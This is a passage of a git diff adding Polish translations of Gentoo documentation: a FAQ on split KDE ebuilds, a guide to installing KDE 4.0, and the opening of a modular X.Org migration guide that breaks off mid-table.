+starszych komputerów, mogą zyskać więcej czasu poprzez selektywną instalację
+programów, niż straciliby w związku z dodatkowymi nakładami czasowymi o których
+była mowa powyżej.
+</p>
+
+</body>
+</section>
+<section>
+<title>W jaki sposób rozdzielone ebuildy mogą być szybsze?</title>
+<body>
+
+<p>
+Większość lub nawet wszystkie problemy z wydajnością rozdzielnych ebuildów
+sprowadzają się do autotoolsów - autoconf, automake i innych narzędzi, które
+zarządzają procesem budowania <c>./configure;make;make install</c> KDE 3.x.
+</p>
+
+<p>
+KDE 4 zawiera zupełnie nowy system budowania, cmake, którego jedną z głównych
+zalet jest znacznie krótszy czas wykonywania polecenia  <c>make -f
+admin/Makefile.common; ./configure</c>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Rozdzielne ebuildy - często zadawane pytania</title>
+<section>
+<title>
+Dlaczego niektóre rozdzielne pakiety nie posiadają nowszych wersji ebuildów?
+</title>
+<body>
+
+<p>
+Jak wyjaśniliśmy wcześniej nie wszystkie aplikacje są aktualizowane pomiędzy
+ważnymi wydaniami KDE, zatem nie wszystkie aplikacje otrzymują nowe wersje
+ebuildów.  Dla przykładu, libkdenetwork nie został zaktualizowany w wersji
+3.5.0_beta2, dlatego ostatnim ebuildem dostępnym z tym wydaniem był 3.5_beta1.
+</p>
+
+
+<p>
+Warto to zapamiętać, ponieważ gdy chce się zaintalować niektóre zamaskowane
+wersje KDE, może pojawić się konieczność odmaskowania pakietów ze starszych
+wersji KDE, jeśli również są zamaskowane. Więcej informacji znajduje się w <uri
+link="https://bugs.gentoo.org/125126">tym raporcie o błędzie</uri>.
+</p>
+
+<p>
+Jest to spowodowane wyłącznie chęcią redukcji czasu potrebnego na kompilację
+podczas aktualizacji. Jeśli stworzylibyśmy ebuilda libkdenetwork-3.5.0_beta2,
+zainstalowałby on dokładnie te same pliki jak ebuild 3.5_beta1. Dodtkowo
+aktualizowanych jest wiele zależności tak, aby wszystko działało poprawnie (np.
+aby żaden z ebuildów nie posiadał w zależnościach libkdenetwork-3.5.0_beta2).
+</p>
+
+</body>
+</section>
+<section>
+<title>Czy nie możemy zrobić teraz tego samego z wykorzystaniem DO_NOT_COMPILE?</title>
+<body>
+
+<p>
+DO_NOT_COMPILE jest zmienną środowiskową wewnętrznego systemu budowania KDE.
+Umożliwia selektywne wyłączanie podkatalogów z kompilacji. Niektórzy ludzie
+używali jej do kompilacji tylko części monolitycznego ebuildu KDE. Na przykład,
+uruchomienie polecenia <c>DO_NOT_COMPILE=konqueror emerge kdebase</c>
+zainstalowałoby kdebase bez <c>konquerora</c>.
+</p>
+
+<p>
+Jednak DO_NOT_COMPILE nigdy nie było w założeniach narzędziem mającym ingerować
+w operacje menadżera automatycznego budowania pakietów. To po prostu nie działa,
+może nawet zepsuć system, a poza tym nie było nigdy wspierane. Namawiamy
+wszystkich, żeby wystrzegali się używania tego narzędzia.
+</p>
+
+<p>
+A oto kawałek z listy problemów związanych z DO_NOT_COMPILE:
+</p>
+
+<ul>
+  <li>
+    Kompletnie psuje system śledzenia zależności zaimplementowany w Portage.
+    Portage nie wie nic o DO_NOT_COMPILE i myśli że cały monolityczny pakiet
+    został skompilowany i zainstalowany, więc uważa, że dana zależność musi
+    być spełniona. Może to spowodować, że inne programy nie będą się chciały
+    zbudować albo po prostu się nie uruchomią.
+  </li>
+  <li>
+    Wymusza na użytkowniku konieczność znajomości nazw i znaczenia wszystkich
+    istniejących podkatalogów z modułów KDE. Bardzo niewielu użytkowników poza
+    deweloperami KDE, posiada o tym wiedzę, a więc mało kto jest w stanie
+    odpowiednio używać DO_NOT_COMPILE.
+  </li>
+  <li>
+    Poszczególne moduły w podkatalogach KDE mogą być powiązane między sobą
+    zależnościami, mogą wymagać określonego porządku budowania lub obecności
+    innego katalogu nawet jeżeli nie ma być on instalowany. Włożyliśmy dużo
+    pracy w rozdzielone ebuildy tak, aby działały poprawnie pod
+    tym względem. DO_NOT_COMPILE nie jest nawet w części tak dobrym narzędziem,
+    żeby potrafiło uzyskać takie rezultaty, nawet z odpowiednią wiedzą ze strony
+    użytkownika. Jedyną rzeczą jaką można z nim zrobić jest wyłączenie kilku
+    aplikacji z kompilacji. Jest praktycznie niemożliwym, aby z pomocą tego
+    narzędzia zainstalować tylko kilka aplikacji z modułu takiego jak
+    <c>kdebase</c> czy <c>kdepim</c>.
+  </li>
+  <li>
+    Jeśli zainstalowałem powiedzmy kmail wczoraj i dzisiaj chciałbym
+    zainstalować korn używając DO_NOT_COMPILE, pociągnie to za sobą ponowną
+    rekompilację kmail. Oznacza to, że DO_NOT_COMPILE jest zawsze dużo
+    wolniejsze od rozdzielonych ebuildów.
+  </li>
+  <li>
+    DO_NOT_COMPILE nie może zostać użyte do budowanie prekompilowanych paczek
+    (takich jak GRP) zawierających pojedyńcze aplikacje KDE.
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Czy nie powoduje to zbyt wielkiego obciążenia opiekunów KDE w Gentoo?</title>
+<body>
+
+<p>
+Co ciekawe, to pytanie było zadawane bardzo często. Jest mi bardzo miło, że
+użytkownicy tak dbają o nas, opiekunów ebuildów. Korzystając ze sposobności chcę
+zapewnić, że zajęliśmy się rozdzielonymi ebuildami KDE z własnej,
+nieprzymuszonej woli i że nie ma szans żeby ktoś nas od tego odwiódł. :-)
+</p>
+
+<p>
+Powinienem jeszcze wspomnieć, że opiekunowie innych architektur rzeczywiście
+narzekali, że będą musieli włożyć więcej wysiłku w testowanie i oznaczanie
+statusu mnóstwa ebuildów. Pracujemy nad rozwiązaniem tego problemu i właśnie to
+jest głównym powodem dla którego monolityczne ebuildy są jeszcze dostępne
+dla KDE 3.5.
+</p>
+
+</body>
+</section>
+<section>
+<title>Czy zamierzacie całkowicie usunąć stare (monolityczne) ebuildy?</title>
+<body>
+
+<p>
+Jest taki plan. Dla wszystkich wydań KDE 3.x będą dostępne zarówno stare, jak i
+nowe wersje ebuildów. Dla KDE 4.x nie ma i nie będzie monolitycznych ebuildów.
+</p>
+
+<p>
+Jeśli ktoś preferuje monolityczne ebuildy zamiast tych rozdzielonych, niech <uri
+link="http://bugs.gentoo.org">poda</uri> nam swoje powody.
+</p>
+
+</body>
+</section>
+<section>
+<title>Teraz jest tyle ebuildów! Jak mam odnaleźć ten, którego właśnie potrzebuję?</title>
+<body>
+
+<p>
+Więc, po pierwsze, jeśli wiesz, że pakiet jakiego szukasz był w kdebase, możesz
+ją otrzymać poprzez <c>emerge kdebase-meta</c> co da taki sam rezultat jak
+zainstalowanie monolitycznego <c>kdebase</c>. A więc nie ma tu żadnych
+niedogodności w związku z nowymi ebuildami.
+</p>
+
+<p>
+Oczywiście wszystkie standardowe metody wyszukiwania paczek także działają. To
+tak samo jak szukanie aplikacji Gnome... Wystarczy znajomość nazwy aplikacji,
+której się szuka.
+</p>
+
+<p>
+Sytuacja mogłaby prawdopodobnie się poprawić dzięki wprowadzenie większej ilości
+-meta ebuildów. Są one tylko listami zależności, a więc nie kosztują wiele
+pracy. Jednak nie zdecydowaliśmy się jeszcze na to. Byłoby jednak miło gdyby
+Portage zyskało odpowiednią funkcjonalność zanim zajmiemy się tym szerzej.
+</p>
+
+</body>
+</section>
+<section>
+<title>Jak wylistować/odmergować wszystkie rozdzielone ebuildy pochodzące z danej paczki?</title>
+<body>
+
+<p>
+Można to przetłumaczyć na wylistowanie wszystkich rozdzielonych ebuildów KDE
+pochodzących z, powiedzmy, monolitycznego ebuilda KDE. Jeszcze raz, odpowiednia
+implementacja (taka jak <uri link="/proj/en/glep/glep-0021.html">GLEP 21</uri>)
+sprawi, że będzie to trywialne. Jednak dzisiaj, musimy się zapoznać w pewnym
+stopniu z implementacją eclass KDE.
+</p>
+
+<p>
+kde-functions.eclass definiuje funkcje zwane get-parent-package() oraz
+get-child-packages() które przeprowadzają tłumaczenie za użytkownika. Te dwie
+funkcje są poprawnym rozwiązaniem dla postawionego problemu i mogą zostać
+wykonane z jakiegoś ebuilda albo zewnętrznego skryptu bash. Na przykład:
+</p>
+
+<pre caption="Implementacja eclass KDE">
+$ <i>function die() { echo $@; }</i> <comment># pokazuj błędy</comment>
+$ <i>source /usr/portage/eclass/kde-functions.eclass</i>
+$ <i>get-parent-package konqueror</i> <comment># nie zadziała, potrzebna jest pełna nazwa</comment>
+Package konqueror not found in KDE_DERIVATION_MAP, please report bug <comment># zwrócenie błędu</comment>
+$ <i>get-parent-package kde-base/konqueror</i> <comment># pełnowartościowa nazwa pakietu</comment>
+kde-base/kdebase <comment># zwrócony wynik</comment>
+$ <i>get-child-packages kde-base/kdebase</i>
+<comment>(długa lista pakietów)</comment>
+</pre>
+
+<p>
+Jeśli skrypt nie został napisany w bashu należy przegrepować
+kde-functions.eclass w celu wyodrębnienia definicji zmiennej KDE_DERIVATION_MAP,
+której używają wyżej wymienione funkcje. Zmienna ta zawiera oddzieloną białymi
+znakami listę słów, każde dwa kolejne słowa przyporządkowują paczkę rodzica
+do rozdzielonego pliku ebuild - dziecka.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/pl/desktop/kde/kde4.xml b/xml/htdocs/proj/pl/desktop/kde/kde4.xml
new file mode 100644
index 00000000..4c96c55c
--- /dev/null
+++ b/xml/htdocs/proj/pl/desktop/kde/kde4.xml
@@ -0,0 +1,337 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/desktop/kde/kde4.xml,v 1.10 2009/02/16 20:31:50 rane Exp $ -->
+
+<guide link="/proj/pl/desktop/kde/kde4.xml" lang="pl" disclaimer="obsolete">
+<title>Informacje na temat KDE 4.0 w Gentoo</title>
+
+<author title="Autor">
+  <mail link="ingmar"/>
+</author>
+<author title="Autor">
+  <mail link="mark_alec"/>
+</author>
+<author title="Redaktor">
+  <mail link="keytoaster"/>
+</author>
+<author title="Tłumaczenie">
+  <mail link="piotao@wp.pl">Piotr Arłukowicz</mail>
+</author>
+
+<abstract>
+Oficjalne informacje na temat korzystania z KDE 4.0 w Gentoo. Informacje o
+aktualizacji do KDE >= 4.1 znajdują się w dokumencie kde4-guide.xml.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.13</version>
+<date>2009-02-14</date>
+
+<chapter>
+<title>Instalacja</title>
+<section>
+<title>Usuwanie poprzednich wersji ebuildów</title>
+<body>
+
+<p>
+Opis instalacji KDE >=4.1 znajduje się w <uri
+link="proj/en/desktop/kde/kde4-guide.xml">osobnym dokumencie</uri>.
+</p>
+
+<p>
+Użytkownicy nakładki <uri link="http://genkdesvn.mailstation.de">genkdesvn</uri>
+muszą usunąć poprzednie wersje pakietów KDE 4, które mają w systemie. W tym celu
+należy wykonać polecenie <c>layman -d kde</c>. Ponadto, jeżeli zostały
+zmodyfikowane jakiekolwiek pliki z katalogu <path>/etc/env.d/</path> związane z
+KDE, należy je teraz usunąć. Dotyczy to również zmian dla beryla i compiza.
+</p>
+
+</body>
+</section>
+<section>
+<title>Określenie wymaganych flag USE</title>
+<body>
+
+<p>
+KDE 4.0 wymaga pakietu <c>x11-libs/qt:4</c> zbudowanego z określonymi
+ustawieniami flag USE. Dlatego przed instalacją należy dodać do pliku
+<path>/etc/portage/package.use</path> następującą linię:
+</p>
+
+<pre caption="Ustawianie wymaganych flag dla x11-libs/qt:4">
+x11-libs/qt:4 accessibility dbus gif jpeg png qt3support ssl zlib
+</pre>
+
+<p>
+Jeśli mamy ustawioną flagę <c>opengl</c> dla ebuildów KDE, musimy również użyć
+flagi <c>opengl</c> przy kompilacji <c>x11-libs/qt:4</c>.
+</p>
+
+<note>
+KDE 4.0.x nie zostało przetestowane z wersją rozwojową Qt-4.4.0 i dlatego jego
+ebuildy <c>nie</c> działają poprawnie z tą wersją.
+</note>
+
+</body>
+</section>
+<section>
+<title>Odmaskowywanie i słowa kluczowe</title>
+<body>
+
+<p>
+KDE 4.0.x jest obecnie zamaskowane w najbardziej restrykcyjny z dostępnych w
+Gentoo sposobów. Przed instalacją należy to maskowanie usunąć za pomocą
+dostarczanago przez nas pliku <path>package.unmask</path>. Użytkownicy systemów
+z <c>ACCEPT_KEYWORDS="~x86"</c> lub <c>ACCEPT_KEYWORDS="~amd64"</c> nie muszą
+wykonywać żadnych dodatkowych działań. Pozostali powinni umieścić nazwy pakietów
+w pliku <path>package.keywords</path>.  <br/> Zarówno
+<path>/etc/portage/package.unmask/</path> jak i
+<path>/etc/portage/package.keywords/</path> mogą być katalogami. W takim
+wypadku, aby odmaskować KDE 4.0.x, konieczne będzie zapisanie podanych tutaj
+przykładowych plików w tych katalogach.
+</p>
+
+<ul>
+  <li>
+    <uri
+    link="https://www2.mailstation.de/gitweb/?p=genkde4svn.git;a=blob_plain;f=Documentation/package.unmask-4.0.0-split;hb=HEAD">Przykładowy
+    plik package.unmask</uri>
+  </li>
+  <li>
+    <uri
+    link="https://www2.mailstation.de/gitweb/?p=genkde4svn.git;a=blob_plain;f=Documentation/package.keywords.4.0.0-split;hb=HEAD">Przykładowy
+    plik package.keywords</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Instalacja</title>
+<body>
+
+<p>
+Po odmaskowaniu możemy wpisać jedno z dwóch poleceń, którymi instaluje się KDE.
+Pierwsze zbuduje całe KDE 4.0.x za pomocą rozdzielonych ebuildów. Drugie
+zainstaluje KDE 4.0.x w wersji minimalnej, budując jedynie programy, które
+chcemy posiadać na naszym komputerze.
+</p>
+
+<pre caption="Instalacja KDE 4.0.x">
+# <i>emerge -avD kde-base/kde-meta:kde-4</i>
+<comment>(LUB)</comment>
+# <i>emerge -avD kde-base/kdebase-startkde:kde-4</i>
+</pre>
+
+<!--
+<p>
+Aby dowiedzieć się więcej o różnicach pomiędzy rozdzielonymi i monolitycznymi
+ebuildami należy przeczytać przewodnik <uri
+link="http://www.gentoo.org/doc/pl/kde-split-ebuilds.xml">Rozdzielone ebuildy
+KDE</uri>
+</p>
+-->
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Zmiany w porównaniu z KDE 3.5</title>
+<section>
+<body>
+
+<p>
+KDE4 zawiera wiele przełomowych zmian architektury pulpitu w stosunku do KDE 3.
+Inną ważną zmianą jest też migracja z autotools do cmake. Oznacza to, że obecnie
+mamy możliwość zobaczenia procentowego postępu podczas kompilacji KDE.
+</p>
+
+</body>
+</section>
+<section>
+<title>Skrypt startowy startkde</title>
+<body>
+
+<p>
+Posiadanie tych samych plików konfiguracyjnych, wspólnych dla KDE 3.5 i KDE 4.0
+nie jest zalecane. Aby zabezpieczyć się przed tym, skrypt startowy
+<c>startkde</c> nadpisuje link <path>~/.kde</path> podczas startu KDE. Oznacza
+to, że konfiguracja sesji w KDE 3.5 będzie niedostępna z poziomu KDE 4.0 i
+odwrotnie.
+</p>
+
+</body>
+</section>
+<section>
+<body>
+
+<p>
+Z tego powodu nie należy logować się do KDE 4.0 podczas gdy KDE 3.5 ciągle
+działa w tle dla tego samego użytkownika.
+</p>
+
+</body>
+</section>
+<section>
+<title>Wybór menedżera logowania</title>
+<body>
+
+<p>
+Domyślnie uruchamia się najnowsza zainstalowana wersja pakietu
+<c>kde-base/kdm</c>. Można jednak zmienić to zachowanie, wystarczy w pliku
+<path>/etc/conf.d/xdm</path>, w zmiennej <c>DISPLAYMANAGER</c> wpisać
+<c>kdm-3.5</c> lub <c>kdm-4.0</c> w zależności od tego która wersja bardziej nam
+odpowiada. Można użyć dowolnej wersji spośród tych, które są wypisywane przez
+polecenie <c>ls /usr/kde/</c>.
+</p>
+
+<pre caption="Wybór menedżera logowania w pliku /etc/conf.d/xdm">
+<ident>DISPLAYMANAGER</ident>=<const>kdm-3.5</const>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>FAQ</title>
+<section>
+<title>Czy można mieć jednocześnie KDE 4.0 i KDE 3.5?</title>
+<body>
+
+<p>
+Tak, obie wersje instalują się do osobnego slotu, a zatem mogą być zainstalowane
+jednocześnie. Obie używają też innego <c>KDEHOME</c>, dlatego można używać obu
+wersji jednocześnie bez nadpisania ustawień.
+</p>
+
+</body>
+</section>
+<section>
+<title>
+Powyżej jest napisane, że mogę zainstalować obie wersje KDE, 3.5 i 4.0, a
+tymczasem kiedy próbuję to zrobić, dostaję informację, że nawzajem się blokują
+</title>
+<body>
+
+<p>
+Korzystanie z obu wersji jednocześnie jest możliwe dopiero po zainstalowaniu
+najnowszej wersji pakietu <c>kde-base/kdebase-startkde</c>. Jego nowe wersje
+zawierają poprawki, które umożliwiają korzystanie z kilku różnych wersji KDE.
+</p>
+
+</body>
+</section>
+<section>
+<title>Dlaczego KDE 4.0.x jest zamaskowane?</title>
+<body>
+
+<p>
+Ponieważ jest to wydanie mocno testowe. Nie jest jeszcze w stanie w pełni
+zastąpić KDE 3. Brakuje w nim wielu kluczowych funkcji, zawiera ono wiele
+błędów. KDE 4 zostanie odmaskowane jak tylko będzie gotowe do użytku.
+</p>
+
+</body>
+</section>
+<section>
+<title>Dlaczego KDE 4 jest zamaskowane przez EAPI?</title>
+<body>
+
+<p>
+Ebuildy KDE 4.0.x używają zależności slotowych, np.
+<c>kde-base/kdebase-startkde:kde-4</c>. Dlatego konieczne jest posiadanie wersji
+pakietu <c>sys-apps/portage</c>, która potrafi obsłużyć takie zależności. Jeśli
+nie ma się jeszcze takiej wersji tego pakietu, należy po prostu zaktualizować
+system.
+</p>
+
+<pre caption="Aktualizacja pakietu portage do wersji obsługującej EAPI=1">
+# <i>emerge --oneshot &gt;=sys-apps/portage-2.1.3.12</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Gdzie są monolityczne ebuildy?</title>
+<body>
+
+<p>
+Wspieranie wersji monolitycznej kosztuje mnóstwo czasu i niepotrzebnie
+komplikuje życie zarówno użytkownikom jak i deweloperom. Kosztuje dużo pracy i
+niepotrzebnych problemów np. przy pisaniu eklas. Od kiedy KDE korzysta z cmake,
+główny argument przeciw rozdzielonym ebuildom, czyli fakt, że kompilowały się
+dłużej przez wielokrotne uruchamianie polecenia ./configure, przestał mieć
+znaczenie. W związku z tym zdecydowaliśmy się pozostać wyłącznie przy
+rozdzielonych ebuildach. Aby na nie przejść z wersji monolitycznej, należy
+najpierw usunąć wszystkie monolityczne ebuildy.
+</p>
+
+<pre caption="Usuwanie monolitycznego KDE z systemu">
+# <i>emerge -C ~kde-base/kde{,accessibility,admin,artwork,base,edu,games,graphics,multimedia,network,sdk,toys,utils,webdev}-4.0.x</i>
+</pre>
+
+<p>
+Następnie można przystąpić do instalacji rozdzielonej wersji ebuildów.
+</p>
+
+</body>
+</section>
+<section>
+<title>Gdzie w KDE 4 jest kde-pim?</title>
+<body>
+
+<p>
+Nie było wydania KDE-PIM z KDE 4.0.x. W KDE 4 można korzystać z programów takich
+jak kmail, akregator i im podobnych wydanych dla KDE 3.
+</p>
+
+</body>
+</section>
+<section>
+<title>
+Wypróbowałem KDE4 i nie chcę go już więcej używać, jak się go pozbyć?
+</title>
+<body>
+
+<p>
+Należy usunąć KDE4 z <path>package.keywords</path> i
+<path>package.unmask</path>, a następnie odinstalować wszystkie jego pakiety.
+Trzeba też pamiętać o poprawieniu zmiennej <c>DISPLAYMANAGER</c> jeżeli menedżer
+logowania był ustawiony na <c>kdm-4.0</c>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Czy KDE 3.5 wkrótce zniknie z drzewa Portage?</title>
+<body>
+
+<p>
+Nie. KDE 3.5 jest bardzo stabilne, ponadto wciąż są publikowane dla niego
+poprawki. Będzie ono wspierane przez długi czas choć nie będą już do niego
+dodawane nowe możliwości.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Sugestie zmian w tym tekście</title>
+<section>
+<body>
+
+<p>
+Wszelkie sugestie i pomysły dotyczące powyższego tekstu należy przesyłać na
+adres <mail>kde@gentoo.org</mail>.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/pl/desktop/x/x11/modular-x-howto.xml b/xml/htdocs/proj/pl/desktop/x/x11/modular-x-howto.xml
new file mode 100644
index 00000000..34343a28
--- /dev/null
+++ b/xml/htdocs/proj/pl/desktop/x/x11/modular-x-howto.xml
@@ -0,0 +1,664 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/desktop/x/x11/modular-x-howto.xml,v 1.20 2007/07/24 11:26:01 shadoww Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/pl/desktop/x/x11/modular-x-howto.xml" lang="pl">
+<title>Migracja na modularne X</title>
+
+<author title="Autor">
+  <mail link="dberkholz@gentoo.org">Donnie Berkholz</mail>
+</author>
+<author title="Autor">
+  <mail link="joshuabaergen@gmail.com">Joshua Baergen</mail>
+</author>
+<author title="Tłumaczenie">
+  <mail link="damjanek@gmail.com">Damian Szeluga</mail>
+</author>
+
+<abstract>
+Ten dokument pomaga w migracji na modularne X.Org.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.1.2</version>
+<date>2006-11-05</date>
+
+<chapter>
+<title>Wprowadzenie</title>
+<section>
+<title>Dlaczego modularne X?</title>
+<body>
+
+<p>
+Dlaczego jeden wygodny pakiet zmienił się w 300 mniejszych? Proces ten jest
+realizowany przez twórców X.Org. Rozdzielają oni wszystkie pakiety na
+pomniejsze, a my jedynie podążamy za nimi.
+</p>
+
+<p>
+Powodów, dla których pakiet został podzielony i zmienił się sposób jego
+budowania budowania jest co najmniej kilka:
+</p>
+
+<ul>
+  <li>
+    Nowym deweloperom trudno dołączyć do projektu X, więc postanowiono przejść
+    na autotools, który jest znacznie wygodniejszy dla większości ludzi.
+  </li>
+  <li>
+    Jeśli korzysta się z autotools, jest możliwy podział źródeł programu,
+    dzięki czemu cały projekt jest łatwiejszy do zarządzania dla deweloperów.
+  </li>
+  <li>
+    Rzeczy, które niepotrzebnie stały się zależne od siebie w przeszłości,
+    niejednokrotnie uniemożliwiają tworzenie poprawek. A jeśli już poprawki
+    były tworzone, wymagało to przebudowywania całego X.Org. Na przykład błąd w
+    sterownikach ATI musiał czekać 6 miesięcy do następnego wydania lub
+    wymagał przebudowania czcionek, zupełnie bez powodu.
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Migracja do modularnego X</title>
+<section>
+<title>Wstęp</title>
+<body>
+
+<p>
+Aby stare pakiety nie wchodziły nam w drogę, najpierw pozbędziemy się starego
+xorg-x11, a dopiero potem zainstalujemy modularne X. Nie jest to niezbędne, ale
+ułatwi nam migrację.
+</p>
+
+</body>
+</section>
+<section>
+<title>Krok pierwszy: pozbycie się starego X</title>
+<body>
+
+<p>
+Tworzymy kopię bezpieczeństwa starego X, by mieć możliwość powrotu do wersji
+6.x. Warto również zainstalować jakąś przeglądarkę internetową działającą w
+konsoli, taką jak na przykład links lub lynx. Przyda się ona do czytania tego
+opisu gdy środowisko X nie będzie dostępne.
+</p>
+
+<pre caption="Wykonanie kopii zapasowej starego xorg-x11">
+# <i>emerge gentoolkit</i>
+# <i>quickpkg xorg-x11</i>
+</pre>
+
+<p>
+Usuwamy starą, monolityczną instalację. W tym momencie należy wyłączyć serwer
+X, w innym wypadku podczas aktualizacji komputer się zawiesi.
+</p>
+
+<pre caption="Usuwanie monolitycznej instalacji">
+# <i>emerge -Ca xorg-x11 virtual/x11</i>
+</pre>
+
+<p>
+Jeśli <path>/usr/X11R6</path> nie jest dowiązaniem do <path>/usr</path>,
+usuwamy ten katalog i zaczynamy od początku. Najpierw jednak zapisujemy listę
+pakietów tam zainstalowanych.
+</p>
+
+<pre caption="Tworzenie listy pakietów">
+# <i>if [[ ! -L /usr/X11R6 ]]; \
+        then equery belongs /usr/X11R6 > ~/usr-x11r6-packages \
+        &amp;&amp; rm -rf /usr/X11R6; fi</i>
+</pre>
+
+<p>
+Jeśli istnieje katalog <path>/usr/lib/X11/xkb</path>
+(<path>/usr/lib64/X11/xkb</path> dla użytkowników 64-bitowych procesorów),
+należy go usunąć wraz z całą zawartością. Inaczej nie zainstaluje się pakiet
+<c>xkeyboard-config</c>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Krok drugi: instalacja modularnego X</title>
+<body>
+
+<p>
+Aby korzystać z Direct Rendering, należy aktywować <c>dri</c> we flagach USE.
+Standardowo powinna być włączona.
+</p>
+
+<p>
+Następnie decydujemy, jakie sterowniki chcemy zainstalować. Są one zależne od
+naszej konfiguracji sprzętowej. Jeśli posiadamy sprawny plik
+<path>/etc/X11/xorg.conf</path>, wystarczy wykonać tylko poniższe polecenie, by
+dowiedzieć się jakich sterowników potrzebujemy:
+</p>
+
+<pre caption="Sprawdzanie potrzebnych sterowników">
+# <i>grep Driver /etc/X11/xorg.conf</i>
+        Driver      "kbd"
+        Driver      "mouse"
+        Driver      "radeon"
+</pre>
+
+<pre caption="Checking available drivers">
+# <i>emerge --verbose --pretend xorg-x11</i>
+[ebuild   R   ] x11-base/xorg-x11-7.0-r1  USE="-xprint" INPUT_DEVICES="keyboard
+mouse -acecad -aiptek -calcomp -citron -digitaledge -dmc -dynapro -elo2300
+-elographics -evdev -fpit -hyperpen -jamstudio -joystick -magellan -magictouch
+-microtouch -mutouch -palmax -penmount -spaceorb -summa -synaptics% -tek4957
+-ur98 -vmmouse -void" VIDEO_CARDS="i128 mga radeon savage -apm -ark -chips
+-cirrus -cyrix -dummy -fbdev -fglrx% -glint -i740 -i810 -imstt -mach64
+-neomagic -newport -nsc -nv -nvidia% -r128 -rendition -s3 -s3virge
+-siliconmotion -sis -sisusb -sunbw2 -suncg14 -suncg3 -suncg6 -sunffb -sunleo
+-suntcx -tdfx -tga -trident -tseng -v4l -vesa -vga -via -vmware -voodoo" 0 kB
+</pre>
+
+<p>
+INPUT_DEVICES i VIDEO_CARDS ustawiamy w <path>/etc/make.conf</path>, tak by
+odpowiadały naszej konfiguracji. Minimalne ustawienia dla powyższego przykładu
+byłby następujące: INPUT_DEVICES="<c>keyboard mouse</c>"
+VIDEO_CARDS="<c>radeon</c>". Jeśli nie ustawimy pierwszej lub drugiej zmiennej,
+xorg-x11 zainstaluje wszystkie możliwe sterowniki tego typu. Jako sterowniki
+zapasowe, można dodać <c>vesa</c> i <c>fbdev</c> do VIDEO_CARDS.
+</p>
+
+<p>
+Następnie instalujemy metapakiet. Spowoduje to instalację serwera X oraz
+najczęściej używanych aplikacji, dając nam do dyspozycji sprawną implementację
+X:
+</p>
+
+<pre caption="Instalacja modularnego metapakietu">
+# <i>emerge xorg-x11</i>
+# <i>etc-update</i>
+# <i>revdep-rebuild</i>
+# <i>[[ -e ~/usr-x11r6-packages ]] &amp;&amp; emerge $(&lt;~/usr-x11r6-packages)</i>
+</pre>
+
+<note>
+Jeśli zależy nam na minimalnej instalacji, instalujemy po prostu
+<c>xorg-server</c>. Pakiet ten zawiera wszystko, co umożliwi uruchomienie
+serwera X.
+</note>
+
+<p>
+Należy pamiętać, że to polecenie spowoduje minimalną instalację i że rzeczy
+takie jak xcursor-themes, nie będą instalowane standardowo. Na przykład, jeśli
+zmienialiśmy nasz cursor na whiteglass, redglass lub handhelds, instalujemy
+xcursor-themes. Jeśli korzystaliśmy z kursora gentoo, gentoo-blue lub
+gentoo-silver, instalujemy gentoo-xcursor.
+</p>
+
+
+<note>
+Jeżeli mamy zainstalowane modularne X, zewnętrzne sterowniki (takie jak
+nvidia-glx i wacom oraz niektóre aplikacje vnc) mogą nie działać, jeżeli
+instalują się do <path>/usr/lib/modules</path> zamiast do
+<path>/usr/lib/xorg/modules</path>. Wiele z nich będzie miało możliwość
+wykrywania modularnych X w procesie instalacyjnym, więc wymagają one jedynie
+przeinstalowania po instalacji modularnego X. Wiele z zewnętrznych sterowników
+posiada flagę USE <c>dlloader</c>, którą należy włączyć, a następnie
+przebudować sterowniki.
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Częste problemy</title>
+<section>
+<title>'emerge -u world' chce instalować xorg-x11 6.x lub virtual/x11</title>
+<body>
+
+<p>
+Zdarza się to dlatego, że drzewo portage jeszcze nie jest w pełni przygotowane
+do obsługi modularnych zależności. Można nas w tym wspomóc, czytając opis <uri
+link="porting-modular-x-howto.xml">przenoszenia programów na modularne X</uri> i
+nadsyłając poprawki do opiekunów poszczególnych pakietów.  Opiekunowie są
+wymienieni w pliku <path>metadata.xml</path> w tym samym katalogu, w którym jest
+pakiet, a program <c>herdstat</c> pozwoli przyspieszyć ich wyszukiwanie.
+</p>
+
+<p>
+Jeśli używamy modularnego X na systemie opartym o stabilną gałąź drzewa Portage,
+mogą wystąpić problemy. Wiele pakietów działa z modularnymi X tylko w wersjach
+niestabilnych, więc możliwe jest, że niezbędne będzie dodanie niektórych
+pakietów do <path>/etc/portage/package.keywords</path>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Co się stało ze wszystkimi flagami USE?</title>
+<body>
+
+<p>
+Wiele flag USE z xorg-x11-6.8 zniknęło, kilka zostało przeniesionych na 7.0.
+Pojawiło się również kilka nowych.
+</p>
+
+<table>
+<tr>
+  <th>Flaga USE</th>
+  <th>Co się z nią stało w X 7.0?</th>
+</tr>
+<tr>
+  <ti>3dfx</ti>
+  <ti>W 7.0 powoduje dopisanie glide-v3 do zależności pakietu X</ti>
+</tr>
+<tr>
+  <ti>3dnow, mmx, sse</ti>
+  <ti>
